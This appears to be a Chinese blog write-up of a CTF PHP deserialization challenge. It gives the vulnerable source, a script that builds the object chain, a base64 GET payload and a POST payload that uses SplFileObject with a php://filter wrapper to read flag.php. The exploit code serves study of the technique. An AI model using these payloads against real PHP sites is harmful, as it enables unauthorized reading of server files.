web日刷

一道题学习php原生类

反方向的钟

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>
复制代码

一道php反序列化题

代码审计:

目标是读取flag.php文件,要找到可以执行函数读取的地方,看完下来只有new $_POST['a']($_POST['b']),先构造school类,触发wakeup,然后判断真假,然后跳转到IPO()函数。

复制代码
<?php 

/**
 *
 */
class teacher
{
    
    public $name="ing";
    public $rank="department";
}

class classroom {
    public $name='one class';
    public $leader;
}
class school{
    public $headmaster="ong";
    public $department;
}

$d=new school();
$d -> department = new classroom();
$d -> department ->leader = new teacher();

echo base64_encode(serialize($d));
?>
复制代码

payload:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjtzOjEwOiJkZXBhcnRtZW50IjtPOjk6ImNsYXNzcm9vbSI6Mjp7czo0OiJuYW1lIjtzOjk6Im9uZSBjbGFzcyI7czo2OiJsZWFkZXIiO086NzoidGVhY2hlciI6Mjp7czo0OiJuYW1lIjtzOjM6ImluZyI7czo0OiJyYW5rIjtzOjEwOiJkZXBhcnRtZW50Ijt9fX0=

之前学过的new只是用来实例化对象的,查了查PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

SplFileObject 类可以结合伪协议用来读取文件,PHP原生类及其利用_php 原生类利用_Elitewa的博客-CSDN博客

//post
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

base64解码得到flag

 

 

posted @   _CRAYON  阅读(79)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示